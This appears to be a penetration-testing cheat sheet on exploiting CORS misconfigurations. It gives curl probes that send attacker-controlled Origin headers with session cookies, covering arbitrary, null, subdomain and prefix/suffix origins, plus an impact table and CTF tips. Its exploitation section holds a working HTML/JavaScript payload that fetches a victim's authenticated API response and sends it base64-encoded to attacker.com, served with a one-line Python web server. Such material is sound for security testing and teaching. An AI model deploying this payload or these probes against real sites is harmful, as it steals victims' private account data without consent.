CORS Misconfigurations
Table of Contents
Exploiting misconfigured CORS policies to read authenticated API
responses from an attacker-controlled page on behalf of a victim.
Requires Access-Control-Allow-Credentials: true to be exploitable
with session cookies.
Related: CORS API Testing Methodology CSRF XSS
Testing
Reflect arbitrary origin
curl -H "Origin: https://attacker.com" \ -H "Cookie: session=<token>" \ http://$IP/api/v1/userinfo -v
Look for:
Access-Control-Allow-Origin: https://attacker.com Access-Control-Allow-Credentials: true
Null origin
curl -H "Origin: null" \ -H "Cookie: session=<token>" \ http://$IP/api/v1/userinfo -v
Triggerable from sandboxed iframes. Some servers explicitly
whitelist null.
Subdomain trust
curl -H "Origin: https://evil.target.com" \ -H "Cookie: session=<token>" \ http://$IP/api/v1/userinfo -v
If subdomains are trusted, XSS on any subdomain becomes a CORS exploit path.
Prefix and suffix bypass
# Prefix match bypass curl -H "Origin: https://target.com.attacker.com" \ -H "Cookie: session=<token>" \ http://$IP/api/v1/userinfo -v # Suffix match bypass curl -H "Origin: https://attackertarget.com" \ -H "Cookie: session=<token>" \ http://$IP/api/v1/userinfo -v
Exploitation
If the server reflects arbitrary origins with credentials allowed, host this on attacker.com and send the link to a victim:
cat << 'EOF' > cors.html <script> fetch('http://target.com/api/v1/userinfo', { credentials: 'include' }) .then(r => r.text()) .then(d => fetch('http://attacker.com/log?data=' + btoa(d))); </script> EOF python3 -m http.server 80
The victim's browser makes an authenticated request to target.com and the response is exfiltrated to attacker.com.
Impact Assessment
| Configuration | Exploitable |
|---|---|
| Arbitrary origin + credentials | Yes — critical |
| Null origin + credentials | Yes — requires sandboxed iframe |
| Subdomain wildcard + credentials | Yes — requires subdomain XSS |
| Arbitrary origin, no credentials | Limited — no cookies sent |
| Strict whitelist + credentials | No |
Tips
- Always check both the preflight OPTIONS response and the actual request — the policy may differ between them
- Test every API endpoint — CORS policies are sometimes applied inconsistently across routes
- Combine subdomain trust with XSS on a trusted subdomain for maximum impact
- On CTFs, reflect-origin misconfigurations are the most common — test it early
- Remember CORS is browser-enforced — Burp Suite and curl bypass it entirely, so the vulnerability only matters in a browser context with a real victim